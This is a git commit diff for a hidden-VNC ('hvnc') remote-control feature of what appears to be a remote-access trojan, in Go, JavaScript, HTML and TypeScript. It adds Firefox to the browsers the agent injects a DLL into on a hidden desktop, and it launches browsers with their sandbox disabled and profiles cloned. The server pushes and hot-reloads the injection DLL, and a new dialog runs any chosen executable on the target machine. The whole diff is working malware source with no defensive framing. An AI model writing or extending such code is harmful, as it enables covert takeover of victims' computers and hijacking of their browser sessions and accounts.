hvnc: WS reconnect, H264 retry, Firefox injection, DLL hot-reload, error feedback, custom exe modal

This commit is contained in:
unknown
2026-03-17 15:09:44 +01:00
parent 162c4d9b81
commit 1e5af8a8cf
5 changed files with 270 additions and 60 deletions
@@ -213,6 +213,15 @@ var browserInfoMap = map[string]browserInfo{
},
userData: `Microsoft\Edge\User Data`,
},
"firefox": {
name: "Firefox",
exeName: "firefox.exe",
exePaths: []string{
`\Mozilla Firefox\firefox.exe`,
},
userData: `Mozilla\Firefox`,
useAppData: true,
},
}
func findBrowserExe(info browserInfo) string {
@@ -709,8 +718,11 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
"brave.exe": true,
"msedge.exe": true,
}
if browserExes[strings.ToLower(filepath.Base(filePath))] {
baseName := strings.ToLower(filepath.Base(filePath))
if browserExes[baseName] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu --start-fullscreen"
} else if baseName == "firefox.exe" {
args += " -no-remote -wait-for-browser"
}
cmdLine, err := syscall.UTF16FromString(filePath + args)
if err != nil {
@@ -173,7 +173,16 @@ var (
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
hvncWinCache map[uintptr]*hvncWinCacheEntry
hvncWinCachePrev []byte // previous composite frame for dirty detection
hvncWinCachePrev []byte
hvncCompHdcMem uintptr
hvncCompHbmp uintptr
hvncCompBits unsafe.Pointer
hvncCompW int
hvncCompH int
hvncPendingMouseMove *hvncTask
hvncPendingMoveMu sync.Mutex
)
type hvncTaskKind int
@@ -355,6 +364,28 @@ func CleanupHVNCDesktop() {
hvncWinCache = nil
hvncWinCachePrev = nil
if hvncCompHbmp != 0 {
deleteObject(hvncCompHbmp)
hvncCompHbmp = 0
}
if hvncCompHdcMem != 0 {
deleteDC(hvncCompHdcMem)
hvncCompHdcMem = 0
}
hvncCompBits = nil
hvncCompW = 0
hvncCompH = 0
hvncInputMu.Lock()
hvncShiftDown = false
hvncCtrlDown = false
hvncAltDown = false
hvncCapsLock = false
hvncMouseButtons = 0
hvncHasCursor = false
hvncWorkingWindow = 0
hvncInputMu.Unlock()
if hvncDesktopHandle != 0 {
if hvncOriginalDesktop != 0 {
procSetThreadDesktop.Call(hvncOriginalDesktop)
@@ -817,19 +848,7 @@ func hvncAutoStartExplorerOnThread() error {
return nil
}
found := false
hwnd := getTopWindow(0)
for hwnd != 0 {
var pid uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
if pid != 0 && isExplorerPID(pid) {
found = true
break
}
hwnd = getWindow(hwnd, GW_HWNDNEXT)
}
if found {
if isExplorerRunningToolhelp() {
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
hvncExplorerStarted = true
return nil
@@ -866,6 +885,41 @@ func isExplorerPID(pid uint32) bool {
return strings.HasSuffix(name, `\explorer.exe`)
}
func isExplorerRunningToolhelp() bool {
const TH32CS_SNAPPROCESS = 0x00000002
snap, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(TH32CS_SNAPPROCESS, 0)
if snap == 0 || snap == ^uintptr(0) {
return false
}
defer procCloseHandle.Call(snap)
type processEntry32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [260]uint16
}
var pe processEntry32
pe.dwSize = uint32(unsafe.Sizeof(pe))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snap, uintptr(unsafe.Pointer(&pe)))
for ret != 0 {
name := strings.ToLower(syscall.UTF16ToString(pe.szExeFile[:]))
if name == "explorer.exe" {
return true
}
pe.dwSize = uint32(unsafe.Sizeof(pe))
ret, _, _ = kernel32.NewProc("Process32NextW").Call(snap, uintptr(unsafe.Pointer(&pe)))
}
return false
}
func hvncMouseMoveOnThread(display int, x, y int32) error {
bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
+144 -35
View File
@@ -9,13 +9,42 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const clientLabel = document.getElementById("clientLabel");
clientLabel.textContent = clientId;
const ws = new WebSocket(
(location.protocol === "https:" ? "wss://" : "ws://") +
let ws = null;
let reconnectTimer = null;
let reconnectDelay = 1000;
const maxReconnectDelay = 15000;
function buildWsUrl() {
return (location.protocol === "https:" ? "wss://" : "ws://") +
location.host +
"/api/clients/" +
clientId +
"/hvnc/ws",
);
"/hvnc/ws";
}
function connectWs() {
if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
ws = new WebSocket(buildWsUrl());
ws.binaryType = "arraybuffer";
ws.addEventListener("open", onWsOpen);
ws.addEventListener("message", onWsMessage);
ws.addEventListener("close", onWsClose);
ws.addEventListener("error", onWsError);
}
function scheduleReconnect() {
if (reconnectTimer) return;
reconnectTimer = setTimeout(() => {
reconnectTimer = null;
setStreamState("connecting", "Reconnecting");
connectWs();
reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay);
}, reconnectDelay);
}
const latencyEl = document.getElementById("latencyDisplay");
let lastInputSentAt = 0;
let lastLatencyMs = 0;
const displaySelect = document.getElementById("displaySelect");
const refreshBtn = document.getElementById("refreshDisplays");
const startBtn = document.getElementById("startBtn");
@@ -37,8 +66,6 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const agentFps = document.getElementById("agentFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
ws.binaryType = "arraybuffer";
let activeClientId = clientId;
let renderCount = 0;
let renderWindowStart = performance.now();
@@ -56,6 +83,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
let lastMoveSentAt = 0;
const mouseMoveIntervalMs = 33;
const inputBackpressureBytes = 256 * 1024;
let h264ErrorCount = 0;
let h264RetryTimer = null;
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
@@ -147,7 +176,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
}
function updateControls() {
const wsOpen = ws.readyState === WebSocket.OPEN;
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
const isStarting = streamState === "starting";
const isStreaming = streamState === "streaming";
const isStopping = streamState === "stopping";
@@ -259,7 +288,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
console.warn("No active client selected");
return;
}
if (ws.readyState !== WebSocket.OPEN) {
if (!ws || ws.readyState !== WebSocket.OPEN) {
return;
}
const msg = { type, ...payload };
@@ -342,16 +371,30 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
function fallbackToJpegCodec(reason) {
if (!prefersH264) return;
h264ErrorCount++;
prefersH264 = false;
destroyVideoDecoder();
if (codecH264) codecH264.checked = false;
localStorage.setItem(codecPrefKey, "0");
console.warn("hvnc: falling back to jpeg codec", reason || "");
console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
const q = Number(qualitySlider?.value) || 90;
setCodecModeLabel("jpeg", "fallback");
if (ws.readyState === WebSocket.OPEN) {
if (ws && ws.readyState === WebSocket.OPEN) {
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
}
if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
if (h264RetryTimer) clearTimeout(h264RetryTimer);
h264RetryTimer = setTimeout(() => {
h264RetryTimer = null;
prefersH264 = true;
if (codecH264) codecH264.checked = true;
setCodecModeLabel("h264", "retry");
if (ws && ws.readyState === WebSocket.OPEN) {
pushQuality(qualitySlider?.value || 90);
}
}, 5000);
} else if (h264ErrorCount > 3) {
localStorage.setItem(codecPrefKey, "0");
}
}
function isH264KeyFrame(data) {
@@ -465,7 +508,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
});
}
ws.addEventListener("message", async function (ev) {
async function onWsMessage(ev) {
if (ev.data instanceof ArrayBuffer) {
const buf = new Uint8Array(ev.data);
if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
@@ -596,6 +639,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleCloneProgress(msg);
return;
}
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
return;
}
return;
}
@@ -608,34 +655,48 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
handleCloneProgress(msg);
return;
}
});
if (msg && msg.type === "hvnc_error") {
console.error("hvnc: server error:", msg.error || msg.message);
return;
}
}
ws.addEventListener("open", function () {
function onWsOpen() {
reconnectDelay = 1000;
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
clearOfflineTimer();
setStreamState("idle", "Stopped");
if (desiredStreaming) {
setStreamState("starting", "Resuming stream");
if (displaySelect && displaySelect.value !== undefined) {
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
}
sendCmd("hvnc_start", { autoStartExplorer: false });
} else {
setStreamState("idle", "Stopped");
}
fetchClientInfo().then(() => {
if (displaySelect && displaySelect.value) {
console.debug("hvnc: initial select display", displaySelect.value);
sendCmd("hvnc_select_display", {
display: parseInt(displaySelect.value, 10),
});
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
}
});
});
}
ws.addEventListener("close", function () {
desiredStreaming = false;
function onWsClose() {
destroyVideoDecoder();
setStreamState("disconnected", "Disconnected");
});
if (desiredStreaming) {
setStreamState("connecting", "Reconnecting");
scheduleReconnect();
} else {
setStreamState("disconnected", "Disconnected");
}
}
ws.addEventListener("error", function () {
function onWsError() {
destroyVideoDecoder();
setStreamState("error", "WebSocket error");
});
}
if (!frameWatchTimer) {
frameWatchTimer = setInterval(() => {
@@ -754,7 +815,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
});
function stopOnExit() {
if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
desiredStreaming = false;
sendCmd("hvnc_stop", {});
}
@@ -818,20 +879,68 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
} else if (action === "start-firefox") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
} else if (action === "start-custom") {
const exePath = prompt("Enter exe path (required)");
if (!exePath) {
hideContextMenu();
return;
}
const args = prompt("Enter arguments (optional)") || "";
const cmd = args.trim() ? `\"${exePath}\" ${args}` : `\"${exePath}\"`;
sendCmd("hvnc_start_process", { path: cmd });
hideContextMenu();
showCustomExeModal();
return;
}
hideContextMenu();
});
});
}
function showCustomExeModal() {
let overlay = document.getElementById("hvncCustomExeOverlay");
if (overlay) { overlay.remove(); }
overlay = document.createElement("div");
overlay.id = "hvncCustomExeOverlay";
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
overlay.innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-96 shadow-2xl">
<div class="text-sm font-semibold text-slate-100 mb-3">Run Custom Executable</div>
<label class="block text-xs text-slate-400 mb-1">Exe path</label>
<input id="hvncCustomExePath" type="text" placeholder="C:\\path\\to\\app.exe"
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
<label class="block text-xs text-slate-400 mb-1">Arguments (optional)</label>
<input id="hvncCustomExeArgs" type="text" placeholder="--flag value"
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-4 focus:outline-none focus:border-violet-500" />
<div class="flex justify-end gap-2">
<button id="hvncCustomExeCancel" class="button ghost text-sm">Cancel</button>
<button id="hvncCustomExeRun" class="button primary text-sm">Run</button>
</div>
</div>`;
document.body.appendChild(overlay);
const pathInput = document.getElementById("hvncCustomExePath");
const argsInput = document.getElementById("hvncCustomExeArgs");
pathInput.focus();
function close() { overlay.remove(); }
document.getElementById("hvncCustomExeCancel").addEventListener("click", close);
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
function run() {
const exePath = pathInput.value.trim();
if (!exePath) return;
const args = argsInput.value.trim();
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
sendCmd("hvnc_start_process", { path: cmd });
close();
}
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
pathInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); argsInput.focus(); } });
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
}
function updateLatencyDisplay(ms) {
lastLatencyMs = ms;
if (latencyEl) {
latencyEl.textContent = `${Math.round(ms)}ms`;
}
}
connectWs();
fetchClientInfo();
})();
+10
View File
@@ -114,6 +114,9 @@
<span id="viewerFps" class="pill pill-ghost font-mono text-sky-200"
>--</span
>
<span class="text-slate-600">|</span>
<span class="uppercase tracking-wide text-xs text-slate-500">lat</span>
<span id="latencyDisplay" class="pill pill-ghost font-mono text-amber-200">--</span>
</div>
<div
class="flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
@@ -211,6 +214,13 @@
>
<i class="fa-brands fa-edge mr-2 text-sky-300"></i>Start Edge
</button>
<button
type="button"
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
data-action="start-firefox"
>
<i class="fa-brands fa-firefox mr-2 text-orange-300"></i>Start Firefox
</button>
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Custom</div>
<button
type="button"
@@ -12,14 +12,11 @@ import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
// Cache the injection DLL bytes so we read the file only once.
// Sent as raw binary via msgpack — no base64 needed.
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCacheChecked = false;
function getInjectionDllBytes(): Uint8Array | null {
if (_dllCacheChecked) return _cachedInjectionDll;
_dllCacheChecked = true;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "dist-clients", "HVNCInjection.x64.dll"),
@@ -27,15 +24,40 @@ function getInjectionDllBytes(): Uint8Array | null {
path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll"),
];
if (_dllCachePath) {
try {
const { statSync } = require("fs");
const st = statSync(_dllCachePath);
if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
return _cachedInjectionDll;
}
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
_dllCachePath = null;
_cachedInjectionDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
try {
const { statSync } = require("fs");
const st = statSync(dllPath);
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
_dllCachePath = dllPath;
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
continue;
}
}
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
return _cachedInjectionDll;
return null;
}
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
@@ -644,6 +666,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_process_injected", {
@@ -658,6 +681,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
@@ -670,6 +694,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
sendHVNCCommand(target, "hvnc_start_browser_injected", {